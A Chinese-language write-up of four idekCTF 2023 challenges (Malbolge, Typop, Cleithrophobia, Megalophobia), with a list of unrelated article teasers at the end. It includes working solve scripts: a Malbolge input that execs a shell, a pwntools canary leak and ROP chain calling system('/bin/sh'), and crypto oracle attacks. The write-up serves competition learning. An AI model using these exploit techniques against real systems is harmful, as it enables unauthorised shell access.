[idekCTF 2023] Malbolge I Gluttony,Typop,Cleithrophobia,Megalophobia

news/2025/3/14 21:36:15/

这些题名字我都不认识,这是什么语呀。这个比赛感觉太难了,加上春节将近比较忙,仅作了4个简单题。记录一下。

Misc/Malbolge I Gluttony

这是个虚拟机的题,放入misc感觉有点不可思忆,题目给了7个命令,有"23"读a=read(),"5"保存output+=a,"81"输出。这是第1题有读,后边没有读功能的就不会了。

这里命令判断有点小坑是mem[c]+c 所以每个命令由于位置不同会有变化(减序号)。

from sys import stdinCRAZY = [[1, 0, 0], [1, 0, 2], [2, 2, 1]]ENCRYPT = "5z]&gqtyfr$(we4{WP)H-Zn,[%\\3dL+Q;>U!pJS72FhOA1CB6v^=I_0/8|jsb9m<.TVac`uY*MK'X~xDl}REokN:#?G\"i@"
ENCRYPT = list(map(ord, ENCRYPT))with open("banner") as banner:print(*banner.readlines())def crazy(a, b, bad):trits = CRAZY if bad is None else badresult = 0d = 1for _ in range(10):result += trits[b // d % 3][a // d % 3] * dd *= 3return resultdef initialize(source, mem, bad):i = 0for c in source:assert (ord(c) + i) % 94 in {4, 5, 23, 39, 40, 62, 68, 81}mem[i] = ord(c)i += 1while i < 3**10:mem[i] = crazy(mem[i - 1], mem[i - 2], bad)i += 1def interpret(mem, stdin_allowed, bad):output = ""a, c, d = 0, 0, 0while True:if not 33 <= mem[c] <= 126:return outputmatch (mem[c] + c) % 94:case 4:c = mem[d]case 5:ch = chr(int(a % 256))print(ch, end="")output += chcase 23:if stdin_allowed:try:a = ord(stdin.read(1))except TypeError:return outputelse:return outputcase 39:a = mem[d] = 3**9 * (mem[d] % 3) + mem[d] // 3case 40:d = mem[d]case 62:a = mem[d] = crazy(a, mem[d], bad)case 81:return outputif 33 <= mem[c] <= 126:mem[c] = ENCRYPT[mem[c] - 33]c = (c + 1) % 3**10d = (d + 1) % 3**10def malbolge(program, stdin_allowed=True, a_bad_time=None):memory = [0] * 3**10 #59049initialize(program, memory, a_bad_time)return interpret(memory, stdin_allowed, a_bad_time)

返回数据实际上就是命令,由主程序执行。

from malbolge import malbolgeassert len(code := input()) <= 66 - 6 + (6 + 6)/6
exec(malbolge(code))

第一题还是比较简单的,由于有读功能,直接(读-保存)*n最后再加上输出就行了。不过这里有另外 一个坑,文件名特别长,所以open(dir/name).read()就不可行了,要求长度不能超过62。

所以这里用另外一条命令

import os;os.system("/bin/sh")

30个字符需要60个命令加输出一共61个正好。先用程序生成这个命令串

for i in range(61):#print(i, ':', end='')for c in range(0x21,0x7f):if i<60:if i%2== 1:if (c + i) % 94 in {5}: #{4, 5, 23, 39, 40, 62, 68, 81}:print(chr(c),end='')else:if (c + i) % 94 in {23}: #{4, 5, 23, 39, 40, 62, 68, 81}:print(chr(c),end='')else:if (c + i) % 94 in {81}: #{4, 5, 23, 39, 40, 62, 68, 81}:print(chr(c),end='')print('\n')

最后输入即可。

from pwn import *p = remote('malbolge1.chal.idek.team', 1337)
context.log_level = 'debug'a = 'ubs`q^o\mZkXiVgTeRcPaN_L]J[HYFWDUBS@Q>O<M:K8I6G4E2C0A.?,=*;(s'
b = 'import os;os.system("/bin/sh")'p.sendlineafter(b'\n\n', a.encode())
sleep(0.1)
p.sendline(b.encode())p.interactive()#$ cat d*/f*
#idek{4l1_h0p3_484nd0n_y3_wh0_3nt3r_h3r3}

Pwn/Typop

这个pwn题相当于签到了,有两个溢出,第一个有输出可以带出想要的东西,第2个还能恢复现场,然后循环。

unsigned __int64 getFeedback()
{__int64 buf; // [rsp+Eh] [rbp-12h] BYREF__int16 v2; // [rsp+16h] [rbp-Ah]unsigned __int64 v3; // [rsp+18h] [rbp-8h]v3 = __readfsqword(0x28u);buf = 0LL;v2 = 0;puts("Do you like ctf?");read(0, &buf, 0x1EuLL);printf("You said: %s\n", (const char *)&buf);if ( (_BYTE)buf == 121 )printf("That's great! ");elseprintf("Aww :( ");puts("Can you provide some extra feedback?");read(0, &buf, 0x5AuLL);return __readfsqword(0x28u) ^ v3;
}

由于题目开了PIE,和canary所以想要ROP需要先得到canary,然后再得到加载地址,再求libc地址,最后system

from pwn import *#p = process('./chall')
p = remote('typop.chal.idek.team', 1337)
context(arch='amd64', log_level='debug')
elf = ELF('./chall')
#libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
#gdb.attach(p)
#pause()#1 取canary
p.sendlineafter(b"Do you want to complete a survey?\n", b'y')p.sendafter(b"Do you like ctf?\n", b'A'*(10+1))
p.recvuntil(b'A'*11)canary = b'\x00'+p.recv(7)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(canary.hex(), hex(stack))rop1 = b'A'*10 + canary   #恢复canary
p.sendafter(b"Can you provide some extra feedback?\n", rop1)#2 取加载地址
p.sendlineafter(b"Do you want to complete a survey?\n", b'y')p.sendafter(b"Do you like ctf?\n", b'A'*0x1a)
p.recvuntil(b'A'*0x1a)
elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x1447
print(hex(elf.address))pop_rdi = elf.address + 0x00000000000014d3 # pop rdi ; retrop = flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['getFeedback']) #取libc地址
p.sendafter(b"Can you provide some extra feedback?\n", rop1+rop)libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']#3
p.sendafter(b"Do you like ctf?\n", b'A')
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
p.sendafter(b"Can you provide some extra feedback?\n", rop1+rop)p.interactive()

Crypto/Cleithrophobia

这题第二天早上睡醒了才有了思路。

先看原题

#!/usr/bin/env python3
#
# Polymero
## Imports
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os# Local imports
with open('flag.txt', 'rb') as f:FLAG = f.read()f.close()# Header
HDR = r"""|
|
|       __ _       ___ ____ ______ __ __ ____   ___  ____  __ __  ___  ____  ____  ____
|      /  ] |     /  _]    |      |  |  |    \ /   \|    \|  |  |/   \|    \|    |/    |
|     /  /| |    /  [_ |  ||      |  |  |  D  )     |  o  )  |  |     |  o  )|  ||  o  |
|    /  / | |___/    _]|  ||_|  |_|  _  |    /|  O  |   _/|  _  |  O  |     ||  ||     |
|   /   \_|     |   [_ |  |  |  | |  |  |    \|     |  |  |  |  |     |  O  ||  ||  _  |
|   \     |     |     ||  |  |  | |  |  |  .  \     |  |  |  |  |     |     ||  ||  |  |
|    \____|_____|_____|____| |__| |__|__|__|\_|\___/|__|  |__|__|\___/|_____|____|__|__|
|
|"""# Server encryption function
def encrypt(msg, key):pad_msg = pad(msg, 16)blocks = [os.urandom(16)] + [pad_msg[i:i+16] for i in range(0,len(pad_msg),16)]itm = [blocks[0]]for i in range(len(blocks) - 1):tmp = AES.new(key, AES.MODE_ECB).encrypt(blocks[i+1])itm += [bytes(j^k for j,k in zip(tmp, blocks[i]))]cip = [blocks[0]]for i in range(len(blocks) - 1):tmp = AES.new(key, AES.MODE_ECB).decrypt(itm[-(i+1)])cip += [bytes(j^k for j,k in zip(tmp, itm[-i]))]return b"".join(cip[::-1])# Server connection
KEY = os.urandom(32)print(HDR)
print("|  ~ I trapped the flag using AES encryption and decryption layers, so good luck ~ ^w^")
print(f"|\n|    flag = {encrypt(FLAG, KEY).hex()}")# Server loop
while True:try:print("|\n|  ~ Want to encrypt something?")msg = bytes.fromhex(input("|\n|    > (hex) "))enc = encrypt(msg, KEY)print(f"|\n|   {enc.hex()}")except KeyboardInterrupt:print('\n|\n|  ~ Well goodbye then ~\n|')breakexcept:print('|\n|  ~ Erhm... Are you okay?\n|')

有无端,一上来就给了加密后的flag,只有一个命令就是输入明文返回密文。

加密方法如下图。先将明文分块,每块先用AES_ECB方式加密,AES_ECB方式叫做电子密码本,同样的明文会生成同样的密文,没有加入反馈。但想爆破是不可能的,所以这题不用想爆破逆向求解。

在第一次加密后与前一个的明文异或——前反馈,如果是第一个包就用IV。

然后作一次解密相同方式,由于有前反馈所以密文已经发生变化(?),所以这里解密相当于加密。

完成以后用下一块的解密前内容与当前结果再作一次异或。

当时就想到到一点:

以第5块为例,如果他是最后一块,构造一个报文前一块明文是0,那么第一次反馈就没了,而第二次反馈是IV已知。所以就能解了。

可如果化不是最后一个就需要后边的反馈,以4块为例得到D4后会与C5异或,由于AES加密无法解,就需要求C5。

当天太晚了,一觉醒来,想到一个:移位。如图

  1. 先拿flag-enc最后一块的密文E5与IV异或得到D5

  1. 构造报文前一块是0,由D5加密后得到C5,C5与前一块明文(0)异或后不变

  1. C5后边得到什么没有意思不管他

  1. 看D5的前一块构造的明文0,加密方法相同,0先加密生成B0

  1. 这时候还需要在0前边再构造一个0块用于前反馈,这个0便得B0在异或后无变,依然是B0

  1. B0做解密得到0

  1. 0与D5中间过程的C5异或得到C5

这样就泄露了一个C5,同相的方法得到所以有C,这样后反馈的问题就解决了。

由于实际的明文加密过程中有前反馈,需要前一个的明文,所以这回从前向后处理

先构造报文iv+D1

  1. D1加密后得到C1

  1. C1与IV异或后得到B1

  1. B1解密得到A1(明文)

  1. A1再异或一次得到R(第2个坑)

由于加密过程引入的pad所以16字节的报文会被加入\x10*16的尾块。所以第4步得到R还需要异或这个尾块的,而尾块是有前反馈的D1,所以实际构造后的报文是iv+D1+\x10*16

所以还需要求一次尾块的c:pad-c^D1这个与前边求c的方法完全相同,内容见图,略。

from pwn import *def get_enc(pay):io.sendlineafter(b"|\n|    > (hex) ", pay.hex().encode())io.recvuntil(b"|\n|   ")return bytes.fromhex(io.recvline().strip().decode())io = remote('cleithrophobia.chal.idek.team', 1337)context.log_level = 'debug'io.recvuntil(b'flag = ')
flag_enc = bytes.fromhex(io.recvline().strip().decode())cip = [flag_enc[i: i+16] for i in range(0, len(flag_enc), 16)][::-1]
iv = cip[0]
#求c [iv, c5, c4, ..., c1]
itm = [iv]
for i in range(1, len(cip)):pay = b'\x00'*32+ xor(itm[-1], cip[i])tmp = get_enc(pay)itm.append(tmp[16: 32])#print(itm[-1].hex())#breakD = [xor(itm[4-i],cip[5-i]) for i in range(5)]
print(' '.join([v.hex() for v in D]))#求A
blk = [iv]
for i in range(len(D)):pay = blk[-1]+D[i]tmp = get_enc(pay)print(tmp.hex())R = tmp[16:32]#padding_civ2 = tmp[-16:]P = tmp[32:48]pay = b'\x00'*32+ xor(iv2, P)tmp2 = get_enc(pay)c_padding = tmp2[16:32]blk.append(xor(R, c_padding))#breakprint(b''.join(blk[1:]))   
#b'flag{wh0_3v3n_c0m3s_up_w1th_r1d1cul0us_sch3m3s_l1k3_th1s__0h_w41t__1_d0}\x08\x08\x08\x08\x08\x08\x08\x08'

Crypto/Megalophobia

这题感觉快结束才出,估计是因为简单。

有个无端,但意义不大,每次连接后给出密码就完事。后边的就没意思,得到flag谁还会往下走!

#!/usr/bin/env python3
#
# Polymero
## Imports
from Crypto.Cipher import AES
from Crypto.Util.number import getPrime, inverse
import os# Local imports
with open('flag.txt', 'rb') as f:FLAG = f.read()f.close()# Header
HDR = r"""|
|
|    ____    ____ ________   ______       _      _____      ___   _______ ____  ____   ___   ______  _____      _
|   |_   \  /   _|_   __  |.' ___  |     / \    |_   _|   .'   `.|_   __ \_   ||   _|.'   `.|_   _ \|_   _|    / \
|     |   \/   |   | |_ \_/ .'   \_|    / _ \     | |    /  .-.  \ | |__) || |__| | /  .-.  \ | |_) | | |     / _ \
|     | |\  /| |   |  _| _| |   ____   / ___ \    | |   _| |   | | |  ___/ |  __  | | |   | | |  __'. | |    / ___ \
|    _| |_\/_| |_ _| |__/ \ `.___]  |_/ /   \ \_ _| |__/ \  `-'  /_| |_   _| |  | |_\  `-'  /_| |__) || |_ _/ /   \ \_
|   |_____||_____|________|`._____.'|____| |____|________|`.___.'|_____| |____||____|`.___.'|_______/_____|____| |____|
|
|"""# Private RSA key
d = 1
while d == 1:p, q = [getPrime(512) for _ in '01']d = inverse(0x10001, (p - 1)*(q - 1))# Key encoding
num_byt = [i.to_bytes(256, 'big').lstrip(b'\x00') for i in [p, q, d, inverse(q, p)]]
sec_key = b''.join([len(k).to_bytes(2, 'big') + k for k in num_byt])# OTP key to encrypt private part
otp_key = os.urandom((len(sec_key) - len(FLAG)) // 2) + b"__" + FLAG + b"__" + os.urandom(-((len(FLAG) - len(sec_key)) // 2))pub_key = (p * q).to_bytes(128,'big')
enc_key = bytes([i^j for i,j in zip(sec_key, otp_key)])# Server connection
print(HDR)print("|  ~ Here hold my RSA key pair for me, don't worry, I encrypted the private part ::")
print('|    ' + pub_key.hex() + '::' + enc_key.hex())print("|\n|  --- several hours later ---")
print('|\n|  ~ Hey, could you send me my encrypted private key?')# Retrieve private key
try:my_enc_key = bytes.fromhex(input('|\n|    > (hex)'))my_sec_key = bytes([i^j for i,j in zip(my_enc_key, otp_key)])pop_lst = []while len(my_sec_key) >= 2:pop_len = int.from_bytes(my_sec_key[:2], 'big')if pop_len <= len(my_sec_key[2:]):pop_lst += [int.from_bytes(my_sec_key[2:2 + pop_len], 'big')]my_sec_key = my_sec_key[2 + pop_len:]else:my_sec_key = b""assert len(pop_lst) == 4p, q, d, u = pop_lstassert p * q == int.from_bytes(pub_key, 'big')except:print("|\n|  ~ Erhm... That's not my key? I'll go somewhere else for now, bye...\n|")exit()# RSA-CRT decryption function
def decrypt(cip, p, q, d, u):dp = d % (p - 1)dq = d % (q - 1)mp = pow(int.from_bytes(cip, 'big'), dp, p)mq = pow(int.from_bytes(cip, 'big'), dq, q)t = (mp - mq) % ph = (t * u) % pm = (h * q + mq)return m.to_bytes(128, 'big').lstrip(b'\x00')# Game
print("|  ~ Now, I don't trust my own PRNG. Could you send me some 128-byte nonces encrypted with my RSA public key?")
for _ in range(500):enc_rng = bytes.fromhex(input('|  > '))nonce = decrypt(enc_rng, p, q, d, u)if len(nonce) < 128:print("|  ~ Erhm... are you sure this is a random 128-byte nonce? This doesn't seem safe to me... Q_Q")else:print("|  ~ Thanks, this looks random ^w^")

加密方法每简单,先把flag两款端对称填充,然后随机生成512位的p,q,然后求d和inverse(q,p)把这个转bytes前加长度头连一块与填充后的flag异或作为密文直接给出。所以后边的程序就没用了。

这题不需要解密!!!

先看这些参数有多长,一般情况下getPrime(512)生成的肯定是512位的,即便少也就是顶多一位,转bytes后长度是64,d这东西一般长度与和n差不多(e=0x10001),最长就是128,然后再看u这个不大于p,最长是64,这样算来最大长度是:

2+64+2+64+2+128+2+64 == 328

再看密文正好是328字节。也就是都恰后最大值。

由于flag是对称填充,而一般flag很短,也就对应的是d的高64字节这个位置,虽然d未知,但是d的大概值还是可求的(前一半)

这里p,q都是512位,而k小小于e所以如果不考虑后512的话约等于成立。

所以只需要爆破出d就行了。

msg = 'b7adfbf2ab98e1756e88dd9165cee3cbe13839d8b5517c92fc9d01732f617b6a3792fbd992b717ba0f208ce9f6bfcd4d165bcc120689d2572219694996492f60780028d11c73d04a12a2319fc0e8b12c6a14f38e86bf6a978fbdf02bdf9197e59ac2d9e078fbb04151cbf64c06bd3b4833dcafb63ccd7c0a386afd72007afae5::81a1237b6235e5e797dac8c630dbac34ff2f37e51bd96d6f2fb15ed4f69ff573dbeeaa0f74dcd95d3984fde4eb30005a55d9dceefe224c6feb9931a4a7b88d1ef99ffb6d6e642e3a9084ce7f922bdfd2b595f8d71cb1693b477229619b22714ac70506f270536f152b292532afb95fc4e0b58759bc5d6a11b55fad2f1bb3f246460e9f8eab5fb143d8775ca4d41654008f465ab5f10c9e9b29c18b8a4faa240aa540abdee44dd80a20dc76725d0d1e745de2ed376db2006e51b73180d01e8ff8b9ceb1601851d76b5737ac8ac2b22678c60d866529a5f07a62a9a9ddcc6ce83483c5f9c1276836e3432451803ab574004ce35b2220d98d1d748086a03a15392c72f2376bf4dea2c7600a8c52758639f0735e16df61aced5e0f47736e2629b833c69e408eb9867450360f9e42032e5a63ac40e5a45028b65ccf0bd5f2374bf4c698c9ec3caa68eb8b'from Crypto.Util.number import long_to_bytes, bytes_to_long 
#ed  = 1 mod phi    d ็บฆ i*phi//e  => i*n//e
msg = msg.split('::')
n = bytes_to_long(bytes.fromhex(msg[0]))
c = bytes.fromhex(msg[1])[132+2:132+66]
from pwn import xor
for i in range(1,0x10000):hd = long_to_bytes(i*n//0x10001)[:64]t = xor(hd,c)if b'idek{' in t:print(t)#b'\xda\xe6#oL__idek{M3G4_r34lly_n33d_t0_g3t_th31r_sh1t_t0g3th3r}__\xfc :\xd6\x86\xcf'

http://www.ppmy.cn/news/12708.html

相关文章

【初阶数据结构】——写了将近 5 万字,终于把 二叉树 初阶的内容讲清楚了

文章目录前言1. 树的概念及结构1.1 树的概念1.2 树与非树1.3 树的相关概念1.4 树的表示1.5 树在实际中的运用&#xff08;表示文件系统的目录树结构&#xff09;2. 二叉树概念及结构2.1 概念2.2 现实中的二叉树2.3 特殊的二叉树2.3.1 满二叉树2.3.1 完全二叉树2.4 二叉树的性质…

计讯物联数字乡村解决方案赋能乡村振兴

项目背景 数字乡村是乡村振兴的战略方向&#xff0c;是推动农村现代化的重要途径。当前&#xff0c;数字乡村建设正在加速推进&#xff0c;打造乡村数字治理新模式&#xff0c;提升乡村的数字化水平&#xff0c;进一步推动乡村振兴进入高质量发展新赛道。计讯物联作为数字乡村…

3.Python基础之流程控制

文章目录Python基础之流程控制顺序结构分支(选择)结构单项分支双项分支多项分支巢状分支循环结构whilefor ... in(字典的特殊使用)[https://blog.csdn.net/yaoyuanna/article/details/126009259]流程控制语句breakcontinuepassPython基础之流程控制 流程分类&#xff1a; 流程…

SpringBoot 注册自己的Servlet(三种方式)

SpringBoot 注册自己的Servlet&#xff08;三种方式&#xff09; 目录SpringBoot 注册自己的Servlet&#xff08;三种方式&#xff09;方法1:使用servlet3.0规范提供的注解方式注册Servlet1,声明servlet及映射2&#xff0c;加上ServletComponentScan 才会扫描加了这个注解运行结…

HTTP/HTTPS协议介绍

数据来源 HTTP简介 01 什么是HTTP 超文本传输协议(HyperTextTransferProtocol缩写&#xff1a;HTTP&#xff09;是一种用于分布式、协作式和超媒体信息系统的应用层协议。 HTP( Hyper Text Transfer Protocol超京本传输协议) 是一个基于请求与响应 无状态的&#xff0c;应…

《Stealth秘密行动》游戏开发记录

游戏开发的学习记录项目&#xff1a;Stealth秘密行动开始时间&#xff1a;2022.12.30一、新学到的&#xff1a;二、遇到的问题&#xff1a;三、成品部分展示&#xff1a;游戏开发的学习记录⑧ 项目&#xff1a;Stealth秘密行动 开始时间&#xff1a;2022.12.30 &#xff08;…

【ESP 保姆级教程】玩转emqx篇 ——初识emqx

忘记过去,超越自己 ❤️ 博客主页 单片机菜鸟哥,一个野生非专业硬件IOT爱好者 ❤️❤️ 本篇创建记录 2023-01-15 ❤️❤️ 本篇更新记录 2022-01-15 ❤️🎉 欢迎关注 🔎点赞 👍收藏 ⭐️留言📝🙏 此博客均由博主单独编写,不存在任何商业团队运营,如发现错误,请…

AtCoder Beginner Contest 285解题报告

A - Edge Checker 2 Problem Statement Determine if there is a segment that directly connects the points numbered a and b in the figure below. Constraints 1≤a<b≤15a and b are integers.Input The input is given from Standard Input in the following for…